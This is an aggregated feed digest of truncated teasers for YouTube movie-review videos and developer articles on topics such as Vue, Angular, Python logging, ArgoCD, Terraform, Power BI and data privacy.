    ‘Two for the Money’ Rewatchables Bill Simmons, Chris Ryan, and Cousin Sal fire up their favorite Monday-night parlay to revisit the 2005 sports thriller Two for the Money (starring Matthew McConaughey, Al Pacino, and Rene Russo). They break down all the high-stakes betting scenes, debate the most rewatchable moments, and slot the film into their signature Rewatchables categories. Along the way they serve up their usual pop-culture banter—complete with a cold open, handy segment timestamps, and even a few sponsor plugs—while dissecting what makes this Hollywood depiction of sports gambling a must-revisit. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins delivers a rapid-fire roast of KPop Demon Hunters, ticking off every “sin” and joke in true snarky style. They hype up the film’s quirks, invite you to binge their other YouTube channels (TVSins, CommercialSins, CinemaSins Podcast) and point you to their Linktree for the freshest updates. The description doubles as a fan hub—linking to their main site, a quick poll, Patreon for support, plus all the socials (Discord, Reddit, Twitter, Instagram, TikTok). Credit goes to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, each with their own social handles if you crave more sinning commentary. Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With Mission: Impossible - The Final Reckoning In 27 Minutes Or Less
    Everything Wrong With Mission: Impossible – The Final Reckoning CinemaSins just dropped their “Everything Wrong With” roast of Mission: Impossible – The Final Reckoning, poking fun at Tom Cruise’s death-defying stunts and lamenting that the once-spotless series might’ve lost its way in these last couple of films. They’ve packed the description with links to their site, YouTube channels (TVSins, CommercialSins, CinemaSins Podcast Network), socials, a sinful poll, Patreon support, and even shout-outs to their writing crew. Dive in for the nitpicks, then head to their Linktree for more sins and shenanigans! Watch on YouTube  ( 6 min )
    Mr Sunday Movies: The Sorcerer's Apprentice - Caravan of Garbage
    Disney’s in a bit of a pickle – after Marvel and Star Wars misfires and new titles like Wish and Elio fizzling, The Weekly Planet is gearing up for a four-week shame parade of Disney’s biggest live-action bombs. First up: 2010’s The Sorcerer’s Apprentice, featuring Nicolas Cage, magic tricks galore, a giant bird, and enough head-scratching moments to fill a kingdom. Dive into the video for all the glorious cringe. Watch on YouTube  ( 6 min )
    NopRule: A Rule Engine That Uses Excel as a Visual Designer
    Decision trees and decision matrices are intuitive representations of complex IF-ELSE logic for business users and are the most common and useful parts of a rule engine. Popular rule engines such as Drools do offer richer feature sets, notably the so-called RETE algorithm for efficiently reusing frequently repeated expression fragments; however, in real-world business applications the need to use the RETE algorithm is rare. In most cases we downgrade the rule engine to decision tables and decision matrices. A reasonable ordering of nodes in decision trees and decision matrices already provides execution optimization. In scenarios that truly require the RETE algorithm, it is typically difficult for most people to grasp intuitively, making it unsuitable for direct configuration by business u…  ( 10 min )
    Too ambitious to quit, too lazy to start? Read this instead.
    Motivation is unreliable. Here’s how devs actually build momentum one stupidly small win at a time. I used to wake up already losing. Thumb opens a feed before my eyes fully boot, brain gets hit with 200 opinions I didn’t ask for, and suddenly I’m “too tired” to touch the repo. Sound familiar? The irony: I kept waiting for motivation like it was a dependency to install. It’s not. The fix wasn’t a new app or a guru routine. It was lowering the bar until it felt embarrassing not to step over it. One line PR. Open the doc. Put on the shoes. That’s it. Something changed recently: the collective fatigue around infinite feeds. Everyone’s quietly admitting the algorithm is farming attention, and a lot of us devs are feeling weirdly “busy” while shipping less. Same. So I ran a set of tiny experim…  ( 12 min )
    Apprentissage adversarial en temps réel: performances >95% et latence sous millisecondes
    Apprentissage adversarial en temps réel : défis et percées L'apprentissage adversarial en temps réel bouleverse la sécurité des systèmes d'IA. Il suscite admiration et inquiétude chez les ingénieurs et les dirigeants. De plus, la nécessité d'une latence ultra-faible et d'un débit élevé impose des choix techniques rapides. Dans ce contexte, les entreprises n'ont plus droit à l'erreur : elles doivent intégrer des modèles qui apprennent à contrer des attaques en direct, tout en maintenant une précision supérieure à quatre-vingt-quinze pour cent, en réduisant la latence totale de centaines de millisecondes à des millisecondes fractionnaires, et en soutenant un débit supérieur à cent trente requêtes par seconde ; c'est une course contre la montre qui touche la confiance des utilisateurs, la c…  ( 11 min )
    New in Vue - November 2025
    After another action-packed month, here’s my reflection on the latest news and events from the ever-evolving world of Vue, Nuxt, Vite, and their awesome open-source ecosystems. I would like to start 5th issue of my Vue newsletter with something I haven't done yet - sharing a video: As you can see, it is a flashback from the ViteConf I was talking about last month. The reason why am I featuring this is interesting topic of not-so-distant future of our ecosystem together with the awesome stage presence of the speaker. I remember my very first impression was "Oh wow, the guy sounds quite nervous". But then Jim Dummet delivered one of the most memorable IT talk I can think about. The fact it was his only second live talk ever makes it even more awesome. Give it a try if you have a spare 3…  ( 8 min )
    5 Técnicas Para Melhorar a Performance no seu App Angular
    O Problema Lembra daquele app que começou rápido e depois foi ficando mais lento conforme adicionávamos features? Pois é, o culpado quase sempre é o mesmo: change detection. O Angular, por padrão, é um pouco paranóico. A cada evento (scroll, clique, timer), ele verifica TODA a árvore de componentes pra ver se algo mudou. Traduzindo: se você tem 100 componentes e 100 eventos por segundo, são 10.000 verificações por segundo. Não tem CPU que aguente! Para resolver, listei abaixo 5 técnicas para melhorar a performance do seu app Angular. Algumas delas, mesmo sendo velhas conhecidas, ainda hoje costumam ser ignoradas. Compatibilidade: Angular 2+ Impacto: Reduz change detection em ~90% Essa aqui muda o jogo. O OnPush faz o Angular ser mais inteligente - ele só verifica mudanças quando realmen…  ( 8 min )
    Day F8: The Exam Everyone Failed (And Why I Don't Care)
    Today's exam was apparently very difficult. I say "apparently" because I honestly couldn't tell. My classmates walked out devastated. Like genuinely upset. Talking about how brutal it was, how they definitely failed, how unfair the questions were. And I'm just... whatever about it. Not because I'm smart or prepared or confident. I studied for maybe 3 hours like I do for every exam. They all feel the same to me at this point—show up, write what you know, leave. Some people would call that careless. Maybe it is. But it's working so far. I'm liking this phase. Not the exam stress part—that's still there. But something else. I'm getting over the whole "stay in bed when I feel shitty" thing. Used to be when things got bad, I'd just rot. Lie there, scroll, feel worse, repeat. But lately when I f…  ( 7 min )
    Leveling Up Your Python Logs with Structlog
    Python's standard logging module is capable, but shaping it into a system that produces structured, contextual, and queryable logs requires understanding a lot of concepts: hierarchical logging, formatters, filters, handlers, and configuration files. It can be done, but it often feels like you are building infrastructure instead of writing your application. Structlog takes a different approach. Rather than wrestling with object hierarchies, you simply declare how each event should be processed and enriched. The result is logging that feels natural to write, while producing output that works just as well for humans skimming a console as it does for machines ingesting JSON into an observability platform. This guide takes a practical look at using Structlog as the foundation for a production-…  ( 18 min )
    x402: Pay-Per-Use Internet
    We All Hate Free Trials (Well, I Do) Sometimes I just want to test something new. Maybe it’s a new AI image tool, a premium API, pay for a digital content to a creator, some data service everyone won’t shut up about. But nope—the first thing I see is “Start your 7-day free trial!” Great… except now I have to hand over my card on day one. Then I spend the whole week stressing that I’ll forget to cancel and get slapped with a $99 charge for something I used only once. Even worse: sometimes I want my AI agent (ChatGPT, Claude, Grok) to use that service for me. Which means what—give my card to the AI? I’m reckless, but an AI agent is probably ten times more reckless than me. It’s dumb. We shouldn’t need credit cards just to test stuff. With x402, I load a single wallet once—with however much…  ( 11 min )
    GraphBit: Reliable AI Workflows with Multi-LLM Integration and Robust Tool Orchestration for Python Developers
    Core Problem Statement GraphBit targets the hard parts of building reliable, scalable, and maintainable AI-powered workflows. It addresses: Orchestrating multi-step AI tasks with clear data dependencies and parallelism Integrating multiple LLM providers without lock-in Making LLM agents safely call tools and incorporate tool results Running workflows with production-grade resilience under variable load and flaky networks Giving Python developers a simple API while leveraging a high-performance runtime In short: GraphBit turns agentic AI from ad-hoc scripts into robust, dependency-aware workflows that can run reliably in production. Developer Pain Points Fragmented orchestration Hand-rolled “call A then B” glue code; no graph-level validation or parallelism Brittle context passi…  ( 8 min )
    How AI Became My Mental Reset Button in a Chaotic World
    I never expected AI to become my calm-down tool. But my mental reset button? Tech isn’t always a peaceful place. There’s pressure, speed, too many ideas, too many tabs open (in browsers and in life), and the constant background noise of “learn this” / “ship that” / “don’t fall behind.” Somewhere in the middle of that storm, AI became… my slowdown. 🌫️ When your brain is overloaded, AI becomes the quiet friend I’m not a developer, but I spend enough time around tech people to know one thing: Their minds never stop. And being in that environment is inspiring — but also overwhelming. So I started using AI tools as a way to calm my mind: write out a frustration ask AI to organize it ask for perspective ask for a question I could ask myself ask for one small thing I can do right now ask it to t…  ( 8 min )
    Unlocking Algorithmic Elegance: AI's Blind Spot and the Power of Evolutionary Mappings by Arvind Sundararajan
    Unlocking Algorithmic Elegance: AI's Blind Spot and the Power of Evolutionary Mappings Imagine needing to translate between two languages, not word-for-word, but conceptually. Or optimizing a complex supply chain where seemingly unrelated actions perfectly balance each other. These scenarios highlight a fundamental challenge: finding the perfect one-to-one mapping between distinct entities – a bijection. While AI excels at many tasks, discovering these elegant algorithmic relationships often remains stubbornly difficult. The core idea is to leverage a collaborative approach where AI generates possible solutions (as functional code), and then an evolutionary algorithm intelligently refines them. Think of it like breeding algorithms for speed and efficiency. The evolutionary process introd…  ( 7 min )
    🎯 Task #3 — Enable AutoSync + Health Checks + Self-Heal in ArgoCD
    ArgoCD is powerful because it continuously watches Git and your cluster, and keeps them in sync. ✅ Auto-Sync Automatically apply changes from Git to the cluster. ✅ Self-Heal If someone manually edits or deletes a Kubernetes object, ArgoCD restores it from Git. ✅ Auto-Prune Remove Kubernetes resources that were removed from Git. ✅ Rollbacks If a sync fails, ArgoCD will automatically roll back to a good version. Go to: Applications → Select your app → App Details → Sync Policy Turn ON: Auto-Sync Prune Resources Self Heal These correspond to: Setting Meaning Auto-Sync If Git changes, ArgoCD automatically applies the changes to the cluster. Prune If a file (resource) is deleted from Git, ArgoCD deletes that resource from the cluster. Self-Heal If someone manually changes something …  ( 7 min )
    Ensuring Message Order in Distributed Systems: Addressing Pub/Sub Ordering Key Limitations with Subscriber-side Sorting
    Executive Summary In event-driven and distributed architectures, preserving the order of messages is critical for maintaining state consistency, processing accuracy, and system reliability. Google Cloud Pub/Sub offers ordering keys to ensure that messages with the same key are delivered in the order they were published. However, this feature does not always ensure in-order delivery at the subscriber level, which is particularly critical for platforms where sequence integrity is vital (e.g., financial systems, event sequencing). This paper outlines the causes behind unordered message reception of Google Pub/Sub despite the use of ordering keys and outlines a practical solution involving subscriber-side message sorting to enforce the expected message sequence. Google Cloud Pub/Sub is a w…  ( 10 min )
    Angular Aria vs Angular Primitives: What’s the Difference and When Should You Use Each?
    Angular Aria vs Angular Primitives: What’s the Difference and When Should You Use Each? The Angular ecosystem is evolving rapidly, especially around headless UI, accessibility, and composable component design. Two major players in this space are Angular Aria (introduced officially in Angular 21) and the Angular Primitives community library. At first glance they may seem similar — both provide unstyled, headless building blocks for creating highly customizable UI components. But they actually solve different layers of the UI problem. Understanding how they differ, where they overlap, and how to use them together is key if you’re building modern Angular applications, design systems, or complex custom UI libraries. This article breaks it all down. Angular Aria is an official Angular package…  ( 9 min )
    The Art Of System Awareness: Reading Signals With Code
    There is a difference between running code and reading the world through code. Most beginners think of programming as a series of instructions to make a machine behave. Professionals understand something far more interesting. Code is a sensor. Code is a lens. You can use it to observe patterns that are otherwise invisible. You can build systems that listen to the real environment of machines, networks, services, and human activity. System awareness is the discipline of perceiving signals before they turn into problems. It is the craft of understanding that everything emits data, everything leaks state, and everything is part of a larger motion that can be measured, modeled, and interpreted. This field sits between observability engineering, security monitoring, incident response, threat hu…  ( 13 min )
    4. PYTHON ESSENTIALS FOR AI/ML (Advanced OOP)
    1. Class Methods (@classmethod) What it is A method that belongs to the class, not an individual object. cls instead of self. Creating alternative constructors Tracking class-level data Example class Employee: company = "OpenAI" count = 0 def __init__(self, name): self.name = name Employee.count += 1 @classmethod def total_employees(cls): return cls.count print(Employee.total_employees()) # 0 e1 = Employee("Ali") e2 = Employee("Sara") print(Employee.total_employees()) # 2 @staticmethod) What it is A method inside the class but does NOT access class or instance data. Utility/helper methods Math or formatting functions class MathTool: @staticmethod def add(a, b): return a + b print(Mat…  ( 8 min )
    5. PYTHON ESSENTIALS FOR AI/ML (List & Dictionary Comprehensions)
    🛒 1. What Are Comprehensions? Comprehensions are a compact and expressive way to create lists and dictionaries. Instead of writing long loops, you write everything in one clean line. Without comprehension: squares = [] for n in range(1, 6): squares.append(n*n) With comprehension: squares = [n*n for n in range(1, 6)] Cleaner, faster, more readable. [new_item for item in iterable if condition] Imagine you have a conveyor belt of items. Suppose you ordered a mixed snack bundle and want to keep only healthy items. foods = ["chips", "salad", "pizza", "fruits"] healthy = [f for f in foods if f in ["salad", "fruits"]] print(healthy) # ['salad', 'fruits'] Imagine a music app increases the volume of every song by 10%. volumes = [40, 60, 80] new_volumes = [v + 10 for v in volumes] …  ( 8 min )
    Ethereum's Interop Layer (EIL), Sequence's Unified Payments, Eth Updated Roadmap at Devconnect, EIP-7702 Infra Integration
    We are welcoming you to our weekly digest! Here, we discuss the latest trends and advancements in account abstraction, chain abstraction and everything related, as well as bring some insights from Etherspot’s kitchen. The latest news we'll cover: Ethereum Shares New Details On Its New Interop Layer Sequence Launches Trails to Simplify Crypto Payments Vitalik Presents Updated Ethereum Roadmap at Devconnect Why EIP-7702 Infra Matters and How Developers Can Integrate It Please fasten your belts! Ethereum has released new information on its planned interoperability layer (EIL), a major component of its long-term roadmap aimed at enabling seamless communication between Layer 1, Layer 2 rollups, and external ecosystems. The Defiant reports that the update expands on earlier research proposals an…  ( 10 min )
    Fashion Predictions: What Men Will Be Wearing Next Year
    Men’s fashion is heading into one of its most interesting phases yet. As culture shifts and comfort becomes a priority, trends are evolving in ways that feel fresh but still practical. The modern man wants clothing that looks good, feels good, and works with his lifestyle, whether he’s in the office, on the go, or jumping between meetings and social plans. Next year’s trends reflect that perfectly. From relaxed tailoring to texture-rich fabrics and nature-inspired colors, the upcoming fashion wave blends style with ease like never before. Here’s a deep dive into what men will be wearing next year and how you can stay ahead of the curve. Tailoring is evolving, but not in the stiff, formal way we once knew. The next year is all about relaxed, breathable, soft tailoring that delivers sophisti…  ( 8 min )
    Mix with the Masters: Mixing Night with Ken Lewis - 100TH SHOW - 12/3/25
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    AWS ECS Managed Instances: The Middle Ground We've Been Waiting For
    AWS ECS Managed Instances: The Middle Ground We've Been Waiting For If you've been operating containerized workloads on AWS, you've probably grappled with a known trade-off. Use Fargate and enjoy hands-off simplicity, but it costs more and you give up control of your compute. Or manage your own EC2 fleet on ECS, enjoy complete hardware control and better costs, but now you're patching instances, configuring auto-scaling groups, and managing launch templates. It's a problem that has baffled engineers for decades. But AWS just came out with something that might finally bridge the gap: ECS Managed Instances. Let's be practical here with container orchestration. Not many teams wake up excited about managing infrastructure. They'd rather deploy features, not troubleshoot why a node consumed a…  ( 10 min )
    🚀 I Just Launched My New Portfolio — Here’s What I Built
    I finally shipped my new portfolio — but this time, Built it to show my real skills — not just look pretty. If you're looking for someone who can build polished, reliable, AI-driven experiences from scratch, this is for you. I wanted something that actually reflects how I build, how I think, and what I’m capable of creating as a Full Stack Developer & AI Engineer. yashpandav.dev 💬 Would Love Your Feedback Your thoughts genuinely help me improve. If you check it out, let me know what you think — and if you’re working on something exciting, I’m always open to collaborate.  ( 6 min )
    Has anyone built a tool to check FAB Bank balances programmatically?
    Hey DEV community, I’m trying to build a small utility to quickly check my FAB Bank balance without opening the mobile app every time. I’m curious if anyone here has done something similar—maybe via an API, a web automation script, or some kind of lightweight app. A few questions I have: Are there public or semi-public endpoints for retrieving balance info safely? Would you handle this through a server-side script, or directly in a client-side app? Any tips for keeping credentials secure while still making it convenient to check balances? I’m mostly doing this for personal convenience, but I’d love to hear what approaches other developers take for similar tasks. Thanks!  ( 6 min )
    Encrypting Secrets in Production (Without Breaking Everything)
    I just spent way more time than I'd like to admit adding encryption to a NestJS app that was already live. The kind of feature that sounds simple until you're staring at a database full of plaintext API keys wondering how to migrate them without taking the whole thing offline. Here's what actually happened. We store webhook secrets for GitHub and API credentials for Twitter/LinkedIn/Dev.to. All sitting in a PostgreSQL jsonb column. Unencrypted. Not ideal? Sure. Security vulnerability? Absolutely. Something anyone actually exploits in a small B2B SaaS? Probably not, but still. The real trigger was adding more integrations. Each new platform meant more credentials, more API keys, more things that could leak. At some point you have to stop pretending you'll "add encryption later." Here's the…  ( 8 min )
    LangChain and OpenRouter in Python
    🚀 create_agent Using LangChain and OpenRouter in Python Artificial Intelligence doesn’t have to be complicated. In this short tutorial, I’ll show you how to build a simple create_agent using Python, LangChain, and OpenRouter in just a few steps. This is perfect for beginners who want to understand how AI APIs work in real projects. 👉 GitHub Repository: https://github.com/yourusername/langchain_python We’ll create a small Python script that: Connects to an AI model using OpenRouter Uses LangChain to manage the conversation Asks a simple question Prints the AI’s response in the terminal Example question: “What is artificial intelligence in simple terms?” langchain_python/ └── python_example/ ├── createagent.py ├── .env └── README.md Before starting, make sure you have: Python…  ( 7 min )
    Introducing ioc-arise: a zero-decorator DI container with AST-powered auto-registration.
    I used to handle dependency inversion with Inversify, but I was constantly annoyed by two main things: You have to import the @inject decorator everywhere, which ends up polluting your domain code. Writing the boilerplate dependency binding code was so repetitive that I wished I could just type a single command — arise — and have it done automatically. That's why I decided to create my own DI container, coupled with a command-line interface that handles code analysis (via AST parsing) and generates the registration boilerplate for you. Some of the Features: No decorators and no vendor lock-in. ioc-arise supports injecting typed objects, factory functions, and classes implementing interfaces or inheriting abstract classes. Multiple lifecycles: singleton and transient. The CLI can detect them if you leave a JS code comment (@scope singleton or @scope transient) just above the function or object declaration. Factory functions and value objects can be detected by the CLI via a JSDoc annotation (@factory or @value). You can find more about it here: ioc-arise  ( 6 min )
    The Consent Paradox
    The notification pops up on your screen for the dozenth time today: "We've updated our privacy policy. Please review and accept our new terms." You hover over the link, knowing full well it leads to thousands of words of legal jargon about data collection, processing, and third-party sharing. Your finger hovers over "Accept All" as a familiar weariness sets in. This is the modern privacy paradox in action—caught between an unprecedented awareness of data exploitation and the practical impossibility of genuine digital agency. As artificial intelligence systems become more sophisticated and new regulations demand explicit permission for every data use, we stand at a crossroads that will define the future of digital privacy. The traditional model of privacy consent was built for a simpler dig…  ( 29 min )
    ✅ Task #2 — Deploy Your First GitOps Application on GKE Cluster Using ArgoCD
    In this task you will: Create a simple Kubernetes manifest Push it to a GitHub repo Connect ArgoCD to that repo Deploy your app automatically Test GitOps Sync (manual + auto) Create a new GitHub repo: argocd-demo-app Add this structure: argocd-demo-app/ └── deployment.yaml └── service.yaml deployment.yaml apiVersion: apps/v1 kind: Deployment metadata: name: demo-app labels: app: demo-app spec: replicas: 2 selector: matchLabels: app: demo-app template: metadata: labels: app: demo-app spec: containers: - name: nginx image: nginx:1.27 ports: - containerPort: 80 service.yaml apiVersion: v1 kind: Service metadata: name: demo-app spec: type: LoadBalancer selector: app: demo-app ports: …  ( 7 min )
    I built a Python Video Downloader for my Engineering Thesis 🎓🎥
    Hello Devs! 👋 We've all been there. You need to download a video for offline viewing or archiving. You search on Google, click on the first result, and... 🚨 Popups everywhere. "Allow notifications to continue." Sketchy redirects. I recently faced a challenge: I needed to create a practical application for my Engineering Thesis (Bachelor's final project). I didn't want to build something that would just sit in a drawer. I wanted to solve a real annoyance. So, I combined my academic requirements with a practical solution and built VidGrabber – an open-source tool written in Python to grab videos easily. VidGrabber is a desktop utility that allows you to download videos from popular platforms. It was designed as a diploma project to demonstrate Python capabilities in handling media streams …  ( 7 min )
    Your Guide to Mastering Email Forwarding
    Have you ever experienced the overwhelming feeling of having your inbox flooded with messages, posing a threat to your productivity? Rest assured, because you are not alone. Effectively managing emails can be quite challenging. However, busy professionals need not worry! There exists a potent tool hidden within your email settings: email forwarding. Beyond its simple definition, email forwarding offers a surprising depth of functionality, capable of streamlining your workflow, enhancing collaboration, and ensuring important information reaches the right people, every time. Intrigued? Follow us as we dive deeper into this tutorial of email forwarding. We’ll explore its various applications, from basic message redirection to advanced filtering and automation, all designed to help you. Step …  ( 7 min )
    The Architecture of Sound: Workflow Analysis of Generative Audio Tools
    In the traditional music production landscape, the distance between a cognitive idea and a rendered audio file is vast. A composer does not merely need a melody; they require proficiency in music theory, instrument physics, and Digital Audio Workstation (DAW) signal flow. Industry analysis often highlights a phenomenon known as "technical debt" in creativity—where musicians spend approximately 60% of their session time on mix engineering, cable routing, and software troubleshooting rather than actual composition. At its core, AI music generation relies on deep learning models, specifically Transformers and Diffusion models, trained on vast datasets of MIDI files and audio spectrograms. Unlike random noise generation, these systems understand the probability of note sequences. The first sta…  ( 8 min )
    Remove Watermarks from Word Documents in Java
    Watermarks are often used in Word documents to indicate their status, such as "Confidential," "Draft," or "Sample." However, when preparing a document for final distribution or sharing, you may need to remove these watermarks to present a cleaner version of the file. In this guide, we’ll show you how to remove watermarks from Word documents using Java. Whether you're automating the process or working with a single file, this approach will help you remove unwanted watermarks with minimal effort. Watermarks can serve many purposes during the drafting process, but once the document is finalized or ready for sharing, they may no longer be necessary. In such cases, removing the watermark will make the document look more polished and professional. Some common reasons for removing watermarks incl…  ( 8 min )
    Level Up Your SQL Skills: 8 Interactive Games That Make Learning Fun
    Tired of dry SQL tutorials and boring exercises? What if you could learn SQL by solving crimes, surviving disasters, or cracking mysteries? Game-based learning has exploded in popularity for a good reason! 🔗 Play Now | GitHub I bet you didn't know about this one! It's fresh out of the oven, and it has a GitHub repo too. This free interactive SQL game teaches you SQL through crime-solving challenges. You'll work with hands-on puzzles, realistic datasets, and practice exercises, all powered by a full browser-based SQLite database. Why it's great: No setup required, runs entirely in your browser, and the AI assistant helps you when you're stuck. 🔗 Play Now | GitHub New, hot, and trending! This vintage detective game is stylish and has a GitHub repo as well! SQL Noir has quickly become a pr…  ( 8 min )
    How to provision and S3 storage with Terraform: Plan, check, Apply, approve
    The four-step or should I say, two-step ritual every engineer configuring infrastructure eventually lives by. In my previous posts, we explored what Terraform is, why it matters, its components, how to install it, and how to prepare it for real use. If you haven’t been following from the start, here are some helpful resources to get you up to speed (assuming you use a Linux system): What is terraform Install terraform Get started with Terraform on AWS Alright, let's dive in. First, create a folder and your Terraform configuration file. mkdir tf-practice cd tf-practice touch main.tf Before you go on, be sure to have aws credentials that would have access to the s3 resource. main.tf with your favourite editor and paste this configuration. S3 resource documentation. terraform { required…  ( 8 min )
    The 2025 Humanizer Era: SafeNew AI and the Future of Human-Centric Writing
    In 2025, AI-assisted writing tools are no longer optional—they’ve become the foundation of how students, creators, and professionals communicate. Why Human-Like Writing Matters Today Too even in pacing Too predictable in vocabulary Structurally dense Mechanically transitioned Readers may not pinpoint exactly why, but they immediately sense when writing feels unnatural. Human-like writing matters because it: Builds trust Feels more conversational Reflects genuine thinking Enhances credibility Preserves the writer’s identity At its core, people respond positively to writing that feels like it originates from a human mind—not from a statistical process. This deeper authenticity is exactly what SafeNew AI was created to deliver. What Makes AI Text Feel “Less Human”? Predictability AI selects s…  ( 8 min )
    What can Agentic AI do that Traditional Automation cannot?
    Automation is moving from static rules to systems that can sense, reason and act on our behalf. Instead of waiting for triggers and following scripts, modern agents can perceive new information, evaluate it against goals and instantly decide the next step. They perform tasks within defined boundaries and manage continuous flows of data. This blog offers the key questions people ask about how these agents differ from the traditional automation. What Distinguishes These New Agents from Rule‑based automation? Traditional automation excels at predictable tasks and follows instructions to the letter. It relies on structured data and scripts that only change when developers update them. Agentic systems, however, represent a shift toward adaptive intelligence. They act autonomously toward a goal…  ( 9 min )
    Quartz
    Join the AI Challenge for Cross-Platform Apps: $3,000 in Prizes! Jess Lee for The DEV Team ・ Nov 19 #devchallenge #unoplatformchallenge #dotnet #ai  ( 6 min )
    HOW TO BECOME AN INTELLIGENT MAN.
    📚 Module 1: The Shift in Value - From Talking to Attracting The image presents a compelling before-and-after narrative, focusing on the relationship between two activities: Talking and Attracting. The shift suggests that a key element of becoming an "Intelligent Man" is the transformation of how you allocate your time and effort, moving from an outbound focus (talking) to an inbound focus (attracting). The "Before" State: Outbound Effort The "After" State: Inbound Leverage This module highlights that intelligence isn't just about what you know; it's about how you invest your time and energy to generate value—moving from being a constant broadcaster to a powerful magnet. 📚 Module 2: The Curriculum for Intelligence - A Curated Reading List The right side of the "HOW TO BECOME AN INTELLIG…  ( 11 min )
    Why People Forget Important Documents and How Digital Storage Helps
    Most people can remember birthdays, phone numbers from childhood, or the lyrics to a song they haven’t heard in 10 years, yet they forget where the insurance policy is stored. It’s not because someone is careless or disorganized. The truth is simpler: the human brain is not built to store and recall important documents. This is starting to matter more than ever in a world overflowing with paperwork, printed policies, digital PDFs, medical reports, legal letters, warranties, receipts, tax files, and more. When life gets busy, these things fade into the background until they are suddenly needed right away. And that’s usually when panic begins. Human memory evolved to help people survive, not to track policy numbers or remember whether the birth certificate is in the bottom drawer or the safe…  ( 8 min )
    How to connect PostgreSQL to Power BI using local PostgreSQL and Aiven.
    Introduction Power BI is one of the most popular business intelligence tools for data visualization and analytics. Combined with PostgreSQL, a powerful open-source relational database, you can create dashboards and reports. This guide will walk you through connecting PostgreSQL to Power BI using two approaches: a local PostgreSQL installation and Aiven's cloud hosted PostgreSQL service. Download PostgreSQL from the official PostgreSQL website and follow the installation process. Download Power Bi from the Microsoft store. During installation, note that your user password and port number. If yours is local, then the default port number is 5432. Ensure your database contains the data you want to visualize. Make sure your PostgreSQL server is active. Host: localhost Port: 5432 Default datab…  ( 8 min )
    7+ Top Black Friday Deals on Tailwind CSS UI Kits and Templates
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    Ringer Movies: ‘Two for the Money’ With Bill Simmons, Chris Ryan, and Cousin Sal | The Rewatchables
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    Google Doesn't Trust Your Site? My Real EEAT Story From 2025
    Fast site Clean technical SEO Long, structured articles No AI spam No black-hat backlink nonsense And still… Google basically acted like my website didn't exist. No impressions. No indexing. No organic traffic. At first, I thought this was a bug, a penalty, or some missed technical detail. But the real reason was much simpler – and much more painful: Google didn't trust my content, because it didn't trust me as a creator. Everyone talks about EEAT (Experience, Expertise, Authoritativeness, Trustworthiness) like it's a simple SEO checklist: About page ✅ Long-form article ✅ Legal pages ✅ A few links ✅ But in practice, EEAT works more like an online reputation graph. When Google looks at your site, it's not just asking: "Is this a good article?" "Is the keyword in the H1?" "A…  ( 8 min )
    AWS Explained in Simple Plain English
    AWS… there’s a lot of buzz about it in the tech world. Everyone says it’s a valuable skill, companies want it, salaries go up with it — all that good stuff. But the real question is: What actually is AWS? Sure, I could tell you it’s a “comprehensive cloud services platform that offers scalable computing solutions” and blah blah blah… 😴 …but let’s be honest. “Bro, what is all this? Why so many??” 🤦 And eventually you might feel overwhelmed, bored, or even give up on AWS before you really start. So we’re not doing that today. Instead, we’re going to understand the big picture behind AWS — in the simplest, friendliest way possible — by talking through three main topics: What kind of problems do we face when we don’t use a cloud provider like AWS? How AWS solves those problems and saves u…  ( 18 min )
    Biometrics + WaaS: The Future of Crypto Wallet Security
    Recently, a friend of mine - a fintech startup founder - decided to enable in-app$BTC storage for his clients. I warned him: force users to deal with seed phrases, and you'll lose 80% of them at onboarding! We’ve all got used to unlocking iPhones with Face ID and confirming payments with a fingerprint, and I believe crypto in 2025 should feel just as effortless. Look at ZenGo: they replaced seed phrases with MPC technology, allowing wallet recovery via facial recognition. That is the standard we should aim for - and now, thanks to Wallet-as-a-Service (WaaS) infrastructure, it has become scalable for every business 🔥 👉 Take WaaS from WhiteBIT, for example. Users finally experience crypto as it should be - passwordless and secured by biometrics, free from the headache of private keys. Companies get a compliant, scalable backend layer and can instantly expand their product functionality with crypto to drive new customer streams. Easy and passwordless access is the new norm I expect from every modern financial app today. And with solutions like WaaS, any fintech can actually deliver such top-tier crypto UX without rebuilding its entire architecture.  ( 6 min )
    Custom Cursor AI IDE Rule
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    Why "this" Betrays You & How call/apply/bind Save Your Life – The Complete Story
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    Building Secure by Design: Architecture for Zero-Trust and Always-On Protection
    In a world where disruption is the norm and digital boundaries are dissolving by the minute, security can no longer be an afterthought or a static layer applied at the end of an initiative. Indeed, by 2025, 52% of organizations report having fully deployed a Zero-Trust architecture, and another 38% are in partial implementation, according to recent data. Meanwhile, the financial stakes have never been higher: the global average cost of a data breach dropped to US$4.44 million, but that decline masks a more complex reality. In certain regions, the numbers are stark: in India, for example, the average breach cost surged to ₹22 crore (≈ US$2.7 million) in 2025, a 13% year-over-year rise. The organizations navigating this evolving threat landscape with confidence are the ones embracing a…  ( 12 min )
    Building a simulator using AI for children to learn
    Building with ai has become easier and is becoming easier every day. You can do almost anything using AI. And the best thing to do is help people to learn. This is why I created Flower Growth Simulator Interactive Plant Learning. It's easy; it shows you how the plant grows when you modify the water, soil health, and sun. Easy but effective if you want to see how a plant grows over time. For kids it's of great importance; it could teach them about plants. It could teach them the importance of taking care of a flower. Using only a simulator. Try it here: demo  ( 6 min )
    Allowing/Blocking Emails or Domains in Microsoft 365
    Tired of being swamped by a flood of unwanted emails? Longing for the ability to manage your chaotic inbox? It’s completely understandable to feel overwhelmed by the influx of unwanted emails. You’re not alone in this constant battle against spam and irrelevant messages. However, there’s no need to worry, as there are effective ways to regain control over your inbox! We’ve prepared for you, a comprehensive tutorial that will guide you with the necessary knowledge and tools to curate your email experience, enabling you to embrace the desired emails and eliminate the unwanted ones. Step ONE: Sign in to Microsoft 365 Admin Center Go to https://admin.microsoft.com/Adminportal/Home#/homepage Sign in with your administrator account. Step TWO: Access the Exchange Admin Center In…  ( 7 min )
    Probabilistic Graph Neural Inference for bio-inspired soft robotics maintenance in hybrid quantum-classical pipelines
    Probabilistic Graph Neural Inference for bio-inspired soft robotics maintenance in hybrid quantum-classical pipelines It was during a late-night research session, while studying octopus locomotion patterns for a bio-inspired robotics project, that I had my breakthrough moment. I'd been struggling with predicting maintenance needs for our soft robotic actuators when I realized the fundamental limitation: traditional neural networks were treating each component as independent, ignoring the intricate dependencies and probabilistic relationships that govern biological systems. This realization led me down a fascinating path of exploring probabilistic graph neural networks (PGNNs) and their integration with quantum computing for predictive maintenance. During my investigation of octopus arm c…  ( 12 min )
